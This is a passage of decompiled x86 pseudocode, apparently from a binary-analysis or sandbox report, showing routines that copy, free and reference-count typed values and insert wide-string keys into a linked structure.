																					_t851 = _t1771 + 0x20; // 0x67
																					E00EEE470(_t851, _t1771);
																				} else {
																					__eflags = _t1128 - 0xb;
																					if(_t1128 == 0xb) {
																						_push( *((intOrPtr*)( *(_t1771 + 0x20) + 4)));
																						E00EF10FC();
																						_push( *(_t1771 + 0x20));
																						E00EF10FC();
																						_t1809 = _t1809 + 8;
																					} else {
																						__eflags = _t1128 - 0xc;
																						if(_t1128 == 0xc) {
																							_t1153 =  *(_t1771 + 0x20);
																							__eflags = _t1153;
																							if(_t1153 != 0) {
																								E00F2B350(_t1153);
																							}
																						}
																					}
																				}
																			}
																			L180:
																			 *(_t1771 + 0x28) = 1;
																			 *(_t1771 + 0x20) = 0;
																			_t1402 =  *(_t1771 + 0xc);
																			__eflags = _t1402;
																			if(_t1402 != 0) {
																				 *( *(_t1402 + 0xc)) =  *( *(_t1402 + 0xc)) - 1;
																				__eflags =  *( *(_t1402 + 0xc));
																				if( *( *(_t1402 + 0xc)) == 0) {
																					_push( *_t1402);
																					E00EF10FC();
																					_push( *(_t1402 + 0xc));
																					E00EF10FC();
																					_t1809 = _t1809 + 8;
																				}
																				_push(_t1402);
																				E00EF10FC();
																				_t1809 = _t1809 + 4;
																				 *(_t1771 + 0xc) = 0;
																			}
																			_t1130 =  *(_t1771 + 8);
																			__eflags = _t1130 - 8;
																			if(_t1130 == 8) {
																				_t1478 =  *_t1771;
																				__eflags = _t1478;
																				if(_t1478 == 0) {
																					goto L184;
																				}
																				__imp__#9(_t1478);
																				_push( *_t1771);
																				E00EF10FC();
																				_t1809 = _t1809 + 4;
																				goto L188;
																			} else {
																				L184:
																				__eflags = _t1130 - 0xa;
																				if(_t1130 == 0xa) {
																					_t1131 =  *_t1771;
																					__eflags = _t1131;
																					if(_t1131 != 0) {
																						E00F230B0(_t1131);
																					}
																				} else {
																					__eflags = _t1130 - 5;
																					if(_t1130 == 5) {
																						E00EEE470(_t1771, _t1771);
																					} else {
																						__eflags = _t1130 - 0xb;
																						if(_t1130 == 0xb) {
																							_push( *((intOrPtr*)( *_t1771 + 4))); // executed
																							E00EF10FC(); // executed
																							_push( *_t1771);
																							E00EF10FC();
																							_t1809 = _t1809 + 8;
																						} else {
																							__eflags = _t1130 - 0xc;
																							if(_t1130 == 0xc) {
																								_t1139 =  *_t1771;
																								__eflags = _t1139;
																								if(_t1139 != 0) {
																									E00F2B350(_t1139);
																								}
																							}
																						}
																					}
																				}
																				L188:
																				_push(_t1771);
																				 *(_t1771 + 8) = 1;
																				 *_t1771 = 0;
																				E00EF10FC();
																				_t1396 = _a4;
																				_t1809 = _t1809 + 4;
																				goto L189;
																			}
																		}
																	}
																} else {
																	_t1160 =  *(_t1403 + 0xc);
																	__eflags = _t1160;
																	if(_t1160 != 0) {
																		E00F2651E(_t1160);
																		 *(_t1403 + 0xc) = 0;
																	}
																	_t1162 =  *(_t1403 + 8);
																	__eflags = _t1162 - 8;
																	if(_t1162 == 8) {
																		_t1485 =  *_t1403;
																		__eflags = _t1485;
																		if(_t1485 == 0) {
																			goto L158;
																		}
																		__imp__#9(_t1485);
																		_push( *_t1403);
																		E00EF10FC();
																		_t1809 = _t1809 + 4;
																		goto L162;
																	} else {
																		L158:
																		__eflags = _t1162 - 0xa;
																		if(_t1162 == 0xa) {
																			_t1163 =  *_t1403;
																			__eflags = _t1163;
																			if(_t1163 != 0) {
																				E00F230B0(_t1163);
																			}
																		} else {
																			__eflags = _t1162 - 5;
																			if(_t1162 == 5) {
																				E00EEE470(_t1403, _t1777);
																			} else {
																				__eflags = _t1162 - 0xb;
																				if(_t1162 == 0xb) {
																					_push( *((intOrPtr*)( *_t1403 + 4)));
																					E00EF10FC();
																					_push( *_t1403);
																					E00EF10FC();
																					_t1809 = _t1809 + 8;
																				} else {
																					__eflags = _t1162 - 0xc;
																					if(_t1162 == 0xc) {
																						_t1173 =  *_t1403;
																						__eflags = _t1173;
																						if(_t1173 != 0) {
																							E00F2B350(_t1173);
																						}
																					}
																				}
																			}
																		}
																		L162:
																		 *(_t1403 + 8) = 1;
																		 *_t1403 = 0;
																		_t1164 =  *(_t1777 + 8);
																		 *(_t1403 + 8) = _t1164;
																		__eflags = _t1164 - 4;
																		if(__eflags != 0) {
																			_t1165 = _t1164 - 1;
																			__eflags = _t1165 - 0xb;
																			if(__eflags > 0) {
																				goto L166;
																			}
																			switch( *((intOrPtr*)(_t1165 * 4 +  &M00F0AE62))) {
																				case 0:
																					__eax =  *__esi;
																					 *__ebx = __eax;
																					goto L166;
																				case 1:
																					 *_t1403 =  *_t1777;
																					 *((intOrPtr*)(_t1403 + 4)) =  *((intOrPtr*)(_t1777 + 4));
																					goto L166;
																				case 2:
																					__fp0 =  *__esi;
																					 *__ebx =  *__esi;
																					goto L166;
																				case 3:
																					goto L163;
																				case 4:
																					_push(0x214);
																					__eax = E00EF14F7(__edi, __esi, __eflags);
																					__esp = __esp + 4;
																					__eflags = __eax;
																					if(__eax == 0) {
																						__eax = 0;
																						__eflags = 0;
																					} else {
																						__esi =  *__esi;
																						__ecx = 0x85;
																						__edi = __eax;
																						__eax = memcpy(__eax, __esi, 0x85 << 2);
																						__esi + __ecx = __esi + __ecx + __ecx;
																						__ecx = 0;
																					}
																					 *__ebx = __eax;
																					__eflags =  *(__eax + 4);
																					if( *(__eax + 4) != 0) {
																						__eax =  *(__eax + 4);
																						 *__eax =  *__eax + 1;
																						__eflags =  *__eax;
																					}
																					goto L495;
																				case 5:
																					__ecx =  *__esi;
																					 *__ebx = __ecx;
																					goto L166;
																				case 6:
																					__eflags =  *__esi;
																					if(__eflags == 0) {
																						L495:
																						__edi = _a4;
																						goto L166;
																					}
																					_push(0x10);
																					__eax = E00EF14F7(__edi, __esi, __eflags);
																					__esp = __esp + 4;
																					_push(__eax);
																					 *__ebx = __eax;
																					__imp__#8();
																					__edx =  *__esi;
																					__eax =  *__ebx;
																					_push( *__esi);
																					_push(__eax);
																					__imp__#10();
																					__eflags = __eax;
																					if(__eax < 0) {
																						__ecx =  *__ebx;
																						_push( *__ebx);
																						__imp__#9();
																						__edx =  *__ebx;
																						_push( *__ebx);
																						__eax = E00EF10FC();
																						__esp = __esp + 4;
																						 *__ebx = 0;
																					}
																					goto L166;
																				case 7:
																					 *__ebx =  *__esi;
																					goto L166;
																				case 8:
																					_push(0x18);
																					__eax = E00EF14F7(__edi, __esi, __eflags);
																					__esp = __esp + 4;
																					__eflags = __eax;
																					if(__eax == 0) {
																						goto L502;
																					}
																					__ecx =  *__esi;
																					__eax = E00F2B82F(__eax,  *__esi);
																					 *__ebx = __eax;
																					goto L166;
																				case 9:
																					_push(8);
																					__eax = E00EF14F7(__edi, __esi, __eflags);
																					 *__ebx = __eax;
																					__edx =  *__esi;
																					__ecx =  *( *__esi);
																					 *__eax =  *( *__esi);
																					__edx =  *__ebx;
																					__eax =  *( *__ebx);
																					__esp = __esp + 4;
																					__eflags = __eax;
																					if(__eflags == 0) {
																						_push(1);
																						__eax = E00EF14F7(__edi, __esi, __eflags);
																						__ecx =  *__ebx;
																						 *(__ecx + 4) = __eax;
																						__edx =  *__ebx;
																						__eax =  *( *__ebx + 4);
																						__esp = __esp + 4;
																						 *__eax = 0;
																					} else {
																						_push(__eax); // executed
																						__eax = E00EF14F7(__edi, __esi, __eflags); // executed
																						__ecx =  *__ebx;
																						 *( *__ebx + 4) = __eax;
																						__ebx =  *__ebx;
																						__edx =  *__ebx;
																						__eax =  *__esi;
																						__ecx =  *( *__esi + 4);
																						__esp = __esp + 4;
																						__edx = __ebx[1];
																						__eax = E00EF0D80(__ebx[1],  *( *__esi + 4),  *__ebx);
																					}
																					goto L166;
																				case 0xa:
																					_push(0x14);
																					__eax = E00EF14F7(__edi, __esi, __eflags);
																					__esp = __esp + 4;
																					__eflags = __eax;
																					if(__eax == 0) {
																						L502:
																						__eax = 0;
																						 *__ebx = 0;
																						goto L166;
																					}
																					__ecx =  *__esi;
																					__eax = E00F5082A(__eax,  *__esi);
																					 *__ebx = __eax;
																					goto L166;
																			}
																		}
																		L163:
																		_push(0x10);
																		_t1166 = E00EF14F7(_t1733, _t1777, __eflags);
																		_t1809 = _t1809 + 4;
																		__eflags = _t1166;
																		if(_t1166 == 0) {
																			_t1166 = 0;
																		} else {
																			_t1487 =  *(_t1777 + 0xc);
																			 *_t1166 =  *_t1487;
																			 *((intOrPtr*)(_t1166 + 4)) =  *((intOrPtr*)(_t1487 + 4));
																			 *((intOrPtr*)(_t1166 + 8)) =  *((intOrPtr*)(_t1487 + 8));
																			_t1488 =  *(_t1487 + 0xc);
																			 *(_t1166 + 0xc) = _t1488;
																			 *_t1488 =  *_t1488 + 1;
																			__eflags =  *_t1488;
																		}
																		 *(_t1403 + 0xc) = _t1166;
																		goto L166;
																	}
																}
															}
														}
													} else {
														_v108 = 1;
														goto L70;
														L71:
														__eflags = _v108 - _v116;
														if(_v108 > _v116) {
															E00EED740( &_v40, _t1493);
															_v104 = 0;
															_t1179 =  *((intOrPtr*)( *(_v148 + 4) + 8 + _t1778 * 4));
															_t1495 =  *( *((intOrPtr*)( *(_v148 + 4) + 8 + _t1778 * 4)) + 8) & 0x0000ffff;
															__eflags = _t1495 - 0x4a;
															if(_t1495 == 0x4a) {
																L381:
																E00EE29B0(_t1179, _t1495,  &_v40);
																_t1495 =  *(_v148 + 4);
																_t1179 =  *((intOrPtr*)( *(_v148 + 4) + 0xc + _v212 * 4));
																L382:
																E00EE29B0(_t1179, _t1495,  &_v40);
																E00EE2940(0x7f,  &_v20, _t1851);
																E00EE29B0( &_v20, _t1495,  &_v40);
																E00EEA9D0(_a4, _t1851,  &_v40,  &_v104,  &_v196, 0xffffffff);
																_v172 = _v228 + _v228 + _v228 + _v228;
																E00EE1BE0(1, _v224 | 0x00000200,  &_v212,  *((intOrPtr*)( *((intOrPtr*)(_v228 + _v228 + _v228 + _v228 +  *((intOrPtr*)(_v164 + 4)))))));
																L140:
																_t1193 =  *(_v148 + 4);
																_t1611 =  *(_v156 + _t1193 + 4);
																__eflags =  *(_t1611 + 8) - 0x41;
																if( *(_t1611 + 8) == 0x41) {
																	_t1611 =  *(_t1193 + 8 + _v212 * 4);
																	_t1194 =  *(_t1611 + 8) & 0x0000ffff;
																	__eflags = _t1194 - 0x4a;
																	if(_t1194 == 0x4a) {
																		L459:
																		_v212 = _v212 + 5;
																		goto L142;
																	}
																	__eflags = _t1194 - 0x49;
																	if(_t1194 == 0x49) {
																		goto L459;
																	}
																	_v212 = _v212 + 4;
																	goto L142;
																} else {
																	_t279 =  &_v212;
																	 *_t279 = _v212 + 2;
																	__eflags =  *_t279;
																	L142:
																	_t1195 = _v12;
																	_v200 = _v200 + 1;
																	__eflags = _t1195 - 0x30;
																	if(_t1195 >= 0x30) {
																		__eflags = _t1195 - 0x3f;
																		if(_t1195 <= 0x3f) {
																			_t1202 = _v20;
																			__eflags = _t1202;
																			if(_t1202 != 0) {
																				E00F2651E(_t1202);
																			}
																		}
																	}
																	__eflags = _v32;
																	_v40 = 0xf65a44;
																	if(_v32 > 0) {
																		_t1782 = 0;
																		__eflags = 0;
																		do {
																			_t1197 =  *(_v36 + _t1782 * 4);
																			__eflags = _t1197;
																			if(_t1197 != 0) {
																				E00F2C736(_t1197);
																			}
																			_t1782 = _t1782 + 1;
																			__eflags = _t1782 - _v32;
																		} while (_t1782 < _v32);
																		goto L144;
																	} else {
																		L144:
																		_push(_v36);
																		_v32 = 0;
																		E00EF10FC();
																		_t1200 = _v108 + 1;
																		_t1809 = _t1809 + 4;
																		_v108 = _t1200;
																		__eflags = _t1200 - _v136;
																		if(_t1200 <= _v136) {
																			L70:
																			_t1493 =  *(_v148 + 4);
																			_t1778 = _v212;
																			_v12 = _t1611 | 0xffffffff;
																			_v40 = 0xf65a44;
																			_v36 = 0;
																			_v32 = 0;
																			_v28 = 0;
																			_v104 = 0;
																			_t1738 =  *(_t1493 + _t1778 * 4);
																			_t1652 = _t1493 + _t1778 * 4;
																			_t1177 = 0;
																			_v10 = 0;
																			_v208 = 0;
																			__eflags =  *(_t1738 + 8);
																			if( *(_t1738 + 8) == 0) {
																				do {
																					goto L371;
																					L375:
																					_t1741 =  *_t1652;
																					__eflags =  *(_t1741 + 8);
																				} while ( *(_t1741 + 8) == 0);
																				_v212 = _t1778;
																			}
																			goto L71;
																		} else {
																			_t1393 = _v24;
																			goto L146;
																		}
																	}
																}
															}
															__eflags = _t1495 - 0x49;
															if(_t1495 != 0x49) {
																goto L382;
															}
															goto L381;
														}
														_t1746 = _v128;
														_t1660 = _v200;
														_t1204 = _t1177 | 0x00000200;
														__eflags =  *( *(_t1746 + _t1660 * 4));
														if( *( *(_t1746 + _t1660 * 4)) != 0) {
															_t1728 = _v176;
															_t1611 =  *(_v176 + _t1660 * 4);
															_t1207 = E00F3F4F5( *( *(_t1493 + _t1778 * 4)), E00F124D9(_t1611), _t1204, 1);
															__eflags = _t1207;
															if(_t1207 == 0) {
																E00F3E724(_t1851, _a4, 0x79,  *((short*)( *((intOrPtr*)( *(_v148 + 4) + _t1778 * 4)) + 0xa)));
																E00F2B3F5(__eflags,  &_v32);
																E00EE11A0( &_v56, _t1728, _t1778);
																goto L625;
															}
															_v212 = _t1778 + 2;
															goto L142;
														}
														_t1664 =  *((intOrPtr*)(_v176 + _v200 * 4));
														_t1785 = _t1204;
														_t1215 = _v212 + _v212 + _v212 + _v212;
														_v156 = _t1215;
														_t1748 =  *( *(_t1215 + _t1493));
														__eflags =  *0xf87f34; // 0x0
														if(__eflags == 0) {
															E00EE4040(_t1748, _t1493, _t1664, 0xf87f24, _t1785, __eflags, _t1664, _t1785);
															goto L140;
														}
														_v204 = _t1664;
														__eflags =  *0xf87f3d; // 0x0
														if(__eflags != 0) {
															_t1507 =  *0xf87f38; // 0x0
															_t1406 =  *(_t1507 + 8);
														} else {
															_t1406 =  *0xf87f38; // 0x0
														}
														_t1219 = 0;
														_v208 = _t1406;
														__eflags =  *_t1406;
														if(__eflags == 0) {
															L94:
															_t1786 = _t1785 & 0x0000ff00;
															_push(0x20);
															_v160 = _t1785 & 0x0000ff00;
															_t1220 = E00EF14F7(_t1748, _t1785 & 0x0000ff00, __eflags);
															_t1826 = _t1809 + 4;
															__eflags = _t1220;
															if(__eflags == 0) {
																_t1407 = 0;
															} else {
																_t1786 = _t1220;
																 *(_t1786 + 8) = 8;
																 *(_t1786 + 4) = 0;
																_push( ~(0 | __eflags > 0x00000000) | 0x10);
																_t1265 = E00EF14F7(_t1748, _t1786, __eflags);
																 *_t1786 = _t1265;
																_push(4);
																 *_t1265 = 0;
																_t1266 = E00EF14F7(_t1748, _t1786, __eflags);
																_t1826 = _t1826 + 8;
																__eflags = _t1266;
																if(_t1266 == 0) {
																	_t1266 = 0;
																} else {
																	 *_t1266 = 1;
																}
																 *(_t1786 + 0xc) = _t1266;
																_t1407 = _t1786;
															}
															__eflags = _t1407 - _t1748;
															if(__eflags != 0) {
																_t1252 =  *(_t1407 + 0xc);
																__eflags =  *_t1252 - 1;
																if(__eflags > 0) {
																	 *_t1252 =  *_t1252 - 1;
																	 *(_t1407 + 4) = _t1748[1];
																	 *(_t1407 + 8) = _t1748[2];
																	 *_t1407 =  *_t1748;
																	_t1748 = _t1748[3];
																	 *(_t1407 + 0xc) = _t1748;
																	 *_t1748 =  *_t1748 + 1;
																} else {
																	_t1786 = _t1748[1];
																	_t222 = _t1786 + 1; // 0x1
																	_t1254 = _t222;
																	 *(_t1407 + 4) = _t1786;
																	__eflags =  *(_t1407 + 8) - _t1254;
																	if( *(_t1407 + 8) < _t1254) {
																		 *(_t1407 + 8) = E00F2653C(_t1254);
																		_t1256 =  *_t1407;
																		__eflags = _t1256;
																		if(__eflags != 0) {
																			_push(_t1256);
																			E00EF10FC();
																			_t1826 = _t1826 + 4;
																		}
																		_push( ~(0 | __eflags > 0x00000000) |  *(_t1407 + 8) * 0x00000002);
																		_t1259 = E00EF14F7(_t1748, _t1786, __eflags);
																		_t1826 = _t1826 + 4;
																		 *_t1407 = _t1259;
																		 *((short*)(_t1259 + _t1786 * 2)) = 0;
																	}
																	E00EF0D80( *_t1407,  *_t1748,  *(_t1407 + 4) +  *(_t1407 + 4) + 2);
																	_t1826 = _t1826 + 0xc;
																}
															}
															_push(0x10);
															 *((intOrPtr*)(_t1407 + 0x10)) = _v160;
															_t1222 = E00EF14F7(_t1748, _t1786, __eflags);
															_t1508 = 0;
															_t1809 = _t1826 + 4;
															__eflags = _t1222;
															if(_t1222 == 0) {
																L109:
																_t1223 = _v208;
																_t1750 = 0;
																 *((intOrPtr*)(_t1407 + 0x14)) = _t1508;
																 *(_t1407 + 0x1c) = 0;
																 *(_t1407 + 0x18) = 0;
																_t1787 =  *_t1223;
																__eflags = _t1787;
																if(_t1787 == 0) {
																	 *(_t1407 + 0x1c) = 0;
																	 *(_t1407 + 0x18) = 0;
																	L139:
																	 *_t1223 = _t1407;
																	goto L140;
																}
																__eflags =  *0xf895e4 & 0x00000001;
																if(__eflags == 0) {
																	 *0xf895e4 =  *0xf895e4 | 0x00000001;
																	E00F2B393(0xf895c4);
																	E00EF122A(__eflags, 0xf05b32);
																	_t1809 = _t1809 + 4;
																}
																 *0xf895e0 = _t1750;
																 *0xf895dc = _t1750;
																_v112 = 0xf895c4;
																_v140 = 0xf895c4;
																while(1) {
																	_t1227 =  *(_t1407 + 4);
																	_t1665 =  *((intOrPtr*)(_t1787 + 4));
																	__eflags = _t1227 - _t1750;
																	if(_t1227 == _t1750) {
																		goto L431;
																	}
																	L113:
																	__eflags = _t1665 - _t1750;
																	if(_t1665 == _t1750) {
																		L432:
																		__eflags = _t1227 - _t1750;
																		if(_t1227 != _t1750) {
																			L124:
																			_t257 = _t1787 + 0x1c; // 0x1c
																			_t1241 = _t257;
																			_v204 = _t1241;
																			_t1242 =  *_t1241;
																			__eflags = _t1242 - _t1750;
																			if(_t1242 != _t1750) {
																				_v160 = _t1242;
																				_t1243 = E00F230CF(_t1242, _t1407);
																				_t1809 = _t1809 + 8;
																				__eflags = _t1243;
																				if(_t1243 == 0) {
																					L446:
																					 *(_v140 + 0x1c) = _t1787;
																					_v140 = _t1787;
																					_t1787 =  *_v204;
																					while(1) {
																						_t1227 =  *(_t1407 + 4);
																						_t1665 =  *((intOrPtr*)(_t1787 + 4));
																						__eflags = _t1227 - _t1750;
																						if(_t1227 == _t1750) {
																							goto L431;
																						}
																						goto L113;
																					}
																				}
																				_t1245 = _v160;
																				 *_v204 =  *(_t1245 + 0x18);
																				 *(_t1245 + 0x18) = _t1787;
																				_t1787 = _t1245;
																				__eflags =  *(_t1245 + 0x1c) - _t1750;
																				if( *(_t1245 + 0x1c) == _t1750) {
																					goto L125;
																				}
																				_t1246 = _t1245 + 0x1c;
																				__eflags = _t1246;
																				_v204 = _t1246;
																				goto L446;
																			}
																			L125:
																			 *(_v140 + 0x1c) =  *(_t1787 + 0x18);
																			 *(_v112 + 0x18) =  *(_t1787 + 0x1c);
																			_t1231 =  *0xf895e0; // 0x0
																			_t1668 =  *((intOrPtr*)(_t1787 + 4));
																			 *(_t1787 + 0x18) = _t1231;
																			_t1510 =  *0xf895dc; // 0x3490550
																			 *(_t1787 + 0x1c) = _t1510;
																			_t1232 =  *(_t1407 + 4);
																			__eflags = _t1232 - _t1750;
																			if(_t1232 == _t1750) {
																				__eflags = _t1668 - _t1750;
																				if(_t1668 != _t1750) {
																					L454:
																					 *(_t1407 + 0x18) =  *(_t1787 + 0x18);
																					 *(_t1407 + 0x1c) = _t1787;
																					 *(_t1787 + 0x18) = _t1750;
																					L138:
																					_t1223 = _v208;
																					goto L139;
																				}
																				L448:
																				__eflags = _t1232 - _t1750;
																				if(_t1232 != _t1750) {
																					L137:
																					_t1511 =  *0xf895dc; // 0x3490550
																					 *(_t1407 + 0x1c) = _t1511;
																					 *(_t1407 + 0x18) = _t1787;
																					 *(_t1787 + 0x1c) = _t1750;
																					goto L138;
																				}
																				L127:
																				__eflags = _t1232 - _t1668;
																				if(_t1232 < _t1668) {
																					_t1235 = E00EED470( *_t1407,  *_t1787, _t1668);
																					L135:
																					__eflags = _t1235 - _t1750;
																					if(__eflags < 0) {
																						goto L454;
																					}
																					if(__eflags <= 0) {
																						_t1407 = _t1787;
																						goto L138;
																					}
																					goto L137;
																				}
																				__eflags = _t1232 - _t1750;
																				if(_t1232 <= _t1750) {
																					L451:
																					_t1235 = 0;
																				} else {
																					_t1513 =  *_t1787;
																					_t1669 = _t1232;
																					_t1236 =  *_t1407;
																					while(1) {
																						__eflags =  *_t1236 -  *_t1513;
																						if(__eflags != 0) {
																							if(__eflags < 0) {
																								_t1235 = _t1236 | 0xffffffff;
																								_t1750 = 0;
																							} else {
																								_t1235 = 1;
																								_t1750 = 0;
																								__eflags = 0;
																							}
																							goto L135;
																						}
																						_t1236 = _t1236 + 2;
																						_t1513 = _t1513 + 2;
																						_t1669 = _t1669 - 1;
																						__eflags = _t1669;
																						if(_t1669 != 0) {
																							continue;
																						} else {
																							_t1750 = 0;
																							__eflags = 0;
																							goto L451;
																						}
																					}
																				}
																				goto L135;
																			}
																			__eflags = _t1668 - _t1750;
																			if(_t1668 == _t1750) {
																				goto L448;
																			}
																			goto L127;
																		}
																	}
																	__eflags = _t1227 - _t1665;
																	if(_t1227 < _t1665) {
																		_t1248 = E00EED470( *_t1407,  *_t1787, _t1665);
																		L122:
																		__eflags = _t1248 - _t1750;
																		if(__eflags < 0) {
																			L438:
																			_t762 = _t1787 + 0x18; // 0x18
																			_t1228 = _t762;
																			_v204 = _t1228;
																			_t1229 =  *_t1228;
																			__eflags = _t1229 - _t1750;
																			if(_t1229 == _t1750) {
																				goto L125;
																			}
																			_v160 = _t1229;
																			_t1237 = E00F230CF(_t1407, _t1229);
																			_t1809 = _t1809 + 8;
																			__eflags = _t1237;
																			if(_t1237 == 0) {
																				L442:
																				 *(_v112 + 0x18) = _t1787;
																				_v112 = _t1787;
																				_t1787 =  *_v204;
																				_t1227 =  *(_t1407 + 4);
																				_t1665 =  *((intOrPtr*)(_t1787 + 4));
																				__eflags = _t1227 - _t1750;
																				if(_t1227 == _t1750) {
																					goto L431;
																				}
																				goto L113;
																			}
																			_t1239 = _v160;
																			 *_v204 =  *(_t1239 + 0x1c);
																			 *(_t1239 + 0x1c) = _t1787;
																			_t1787 = _t1239;
																			__eflags =  *(_t1239 + 0x18) - _t1750;
																			if( *(_t1239 + 0x18) == _t1750) {
																				goto L125;
																			}
																			_t1240 = _t1239 + 0x18;
																			__eflags = _t1240;
																			_v204 = _t1240;
																			goto L442;
																		}
																		if(__eflags <= 0) {
																			goto L125;
																		}
																		goto L124;
																	}
																	__eflags = _t1227 - _t1750;
																	if(_t1227 <= _t1750) {
																		L435:
																		_t1248 = 0;
																	} else {
																		_t1519 =  *_t1787;
																		_t1672 = _t1227;
																		_t1249 =  *_t1407;
																		while(1) {
																			__eflags =  *_t1249 -  *_t1519;
																			if(__eflags != 0) {
																				if(__eflags < 0) {
																					_t1248 = _t1249 | 0xffffffff;
																					_t1750 = 0;
																				} else {
																					_t1248 = 1;
																					_t1750 = 0;
																					__eflags = 0;
																				}
																				goto L122;
																			}
																			_t1249 = _t1249 + 2;
																			_t1519 = _t1519 + 2;
																			_t1672 = _t1672 - 1;
																			__eflags = _t1672;
																			if(_t1672 != 0) {
																				continue;
																			} else {
																				_t1750 = 0;
																				__eflags = 0;
																				goto L435;
																			}
																		}
																	}
																	goto L122;
																	L431:
																	__eflags = _t1665 - _t1750;
																	if(_t1665 != _t1750) {
																		goto L438;
																	}
																	goto L432;
																}
															} else {
																_t1753 = _v204;
																_t1673 =  *((intOrPtr*)(_t1753 + 8));
																_t1788 = _t1222;
																_t232 = _t1673 - 1; // 0x46
																_t1250 = _t232;
																_v140 = _t1788;
																 *((intOrPtr*)(_t1788 + 8)) =  *((intOrPtr*)(_t1753 + 8));
																 *(_t1788 + 0xc) = 0;
																__eflags = _t1250 - 0xb;
																if(__eflags > 0) {
																	L108:
																	_t1508 = _v140;
																	goto L109;
																}
																switch( *((intOrPtr*)(_t1250 * 4 +  &M00EEA994))) {
																	case 0:
																		__eax =  *__edi;
																		goto L266;
																	case 1:
																		__eax =  *__edi;
																		 *__esi = __eax;
																		__ecx =  *(__edi + 4);
																		 *(__esi + 4) = __ecx;
																		goto L108;
																	case 2:
																		__fp0 =  *__edi;
																		 *__esi = __fp0;
																		goto L108;
																	case 3:
																		_push(0x10);
																		_t1251 = E00EF14F7(_t1753, _t1788, __eflags);
																		_t1809 = _t1809 + 4;
																		__eflags = _t1251;
																		if(_t1251 == 0) {
																			_t1251 = 0;
																		} else {
																			_t1520 =  *(_t1753 + 0xc);
																			 *_t1251 =  *_t1520;
																			 *((intOrPtr*)(_t1251 + 4)) =  *((intOrPtr*)(_t1520 + 4));
																			 *((intOrPtr*)(_t1251 + 8)) =  *((intOrPtr*)(_t1520 + 8));
																			_t1521 =  *(_t1520 + 0xc);
																			 *(_t1251 + 0xc) = _t1521;
																			 *_t1521 =  *_t1521 + 1;
																			__eflags =  *_t1521;
																		}
																		 *(_t1788 + 0xc) = _t1251;
																		goto L108;
																	case 4:
																		_push(0x214);
																		__eax = E00EF14F7(__edi, __esi, __eflags);
																		__esp = __esp + 4;
																		__eflags = __eax;
																		if(__eax == 0) {
																			__eax = 0;
																			__eflags = 0;
																		} else {
																			__edx = _v204;
																			__esi =  *__edx;
																			__ecx = 0x85;
																			__edi = __eax;
																			__eax = memcpy(__eax, __esi, 0x85 << 2);
																			__edi = __esi + __ecx;
																			__edi = __esi + __ecx + __ecx;
																			__ecx = 0;
																		}
																		__ecx = _v140;
																		 *__ecx = __eax;
																		__eflags =  *(__eax + 4);
																		if( *(__eax + 4) != 0) {
																			__eax =  *(__eax + 4);
																			 *__eax =  *__eax + 1;
																		}
																		goto L108;
																	case 5:
																		__edx =  *__edi;
																		 *__esi = __edx;
																		goto L108;
																	case 6:
																		__eflags =  *__edi;
																		if(__eflags != 0) {
																			_push(0x10);
																			__eax = E00EF14F7(__edi, __esi, __eflags);
																			__esp = __esp + 4;
																			_push(__eax);
																			 *__esi = __eax;
																			__imp__#8();
																			__edx =  *__edi;
																			__eax =  *__esi;
																			_push(__edx);
																			_push(__eax);
																			__imp__#10();
																			__eflags = __eax;
																			if(__eax < 0) {
																				__ecx =  *__esi;
																				_push( *__esi);
																				__imp__#9();
																				__edx =  *__esi;
																				_push(__edx);
																				__eax = E00EF10FC();
																				__esp = __esp + 4;
																				 *__esi = 0;
																			}
																		}
																		goto L108;
																	case 7:
																		 *__esi =  *__edi;
																		goto L108;
																	case 8:
																		_push(0x18);
																		__eax = E00EF14F7(__edi, __esi, __eflags);
																		__esp = __esp + 4;
																		__eflags = __eax;
																		if(__eax == 0) {
																			goto L429;
																		}
																		__ecx =  *__edi;
																		__eax = E00F2B82F(__eax,  *__edi);
																		goto L266;
																	case 9:
																		_push(8);
																		__eax = E00EF14F7(__edi, __esi, __eflags);
																		 *__esi = __eax;
																		__edx =  *__edi;
																		__ecx =  *( *__edi);
																		 *__eax =  *( *__edi);
																		__edx =  *__esi;
																		__eax =  *( *__esi);
																		__esp = __esp + 4;
																		__eflags = __eax;
																		if(__eflags == 0) {
																			_push(1);
																			__eax = E00EF14F7(__edi, __esi, __eflags);
																			__ecx =  *__esi;
																			 *(__ecx + 4) = __eax;
																			__edx =  *__esi;
																			__eax =  *(__edx + 4);
																			__esp = __esp + 4;
																			 *__eax = 0;
																		} else {
																			_push(__eax);
																			__eax = E00EF14F7(__edi, __esi, __eflags);
																			__ecx =  *__esi;
																			 *( *__esi + 4) = __eax;
																			__esi =  *__esi;
																			__edx =  *__esi;
																			__eax =  *__edi;
																			__ecx =  *( *__edi + 4);
																			__esp = __esp + 4;
																			__edx =  *(__esi + 4);
																			__eax = E00EF0D80( *(__esi + 4),  *( *__edi + 4),  *__esi);
																		}
																		goto L108;
																	case 0xa:
																		_push(0x14);
																		__eax = E00EF14F7(__edi, __esi, __eflags);
																		__esp = __esp + 4;
																		__eflags = __eax;
																		if(__eax == 0) {
																			L429:
																			__eax = 0;
																			L266:
																			 *__esi = __eax;
																			goto L108;
																		}
																		__ecx =  *__edi;
																		__eax = E00F5082A(__eax,  *__edi);
																		goto L266;
																}
															}
														} else {
															__eflags =  *0xf895e4 & 0x00000001;
															_v161 = 0;
															if(__eflags == 0) {
																 *0xf895e4 =  *0xf895e4 | 0x00000001;
																E00F2B393(0xf895c4);
																E00EF122A(__eflags, 0xf05b32);
																_t1809 = _t1809 + 4;
																_t1219 = 0;
															}
															 *0xf895e0 = _t1219;
															 *0xf895dc = _t1219;
															_t1269 = 0xf895c4;
															_v112 = 0xf895c4;
															while(1) {
																_v140 = _t1269;
																while(1) {
																	L80:
																	_t1270 = _t1748[1];
																	_t1534 =  *_t1406;
																	_t1684 =  *(_t1534 + 4);
																	__eflags = _t1270;
																	if(_t1270 == 0) {
																		goto L386;
																	}
																	L81:
																	__eflags = _t1684;
																	if(_t1684 == 0) {
																		L387:
																		__eflags = _t1270;
																		if(_t1270 != 0) {
																			L92:
																			_t1283 =  *( *_t1406 + 0x1c);
																			__eflags = _t1283;
																			if(_t1283 != 0) {
																				_t1284 = E00F230CF(_t1283, _t1748);
																				_t1809 = _t1809 + 8;
																				__eflags = _t1284;
																				if(_t1284 == 0) {
																					L399:
																					 *((intOrPtr*)(_v112 + 0x1c)) =  *_t1406;
																					_t1286 =  *_t1406;
																					_v112 = _t1286;
																					 *_t1406 =  *(_t1286 + 0x1c);
																					L80:
																					_t1270 = _t1748[1];
																					_t1534 =  *_t1406;
																					_t1684 =  *(_t1534 + 4);
																					__eflags = _t1270;
																					if(_t1270 == 0) {
																						goto L386;
																					}
																					goto L81;
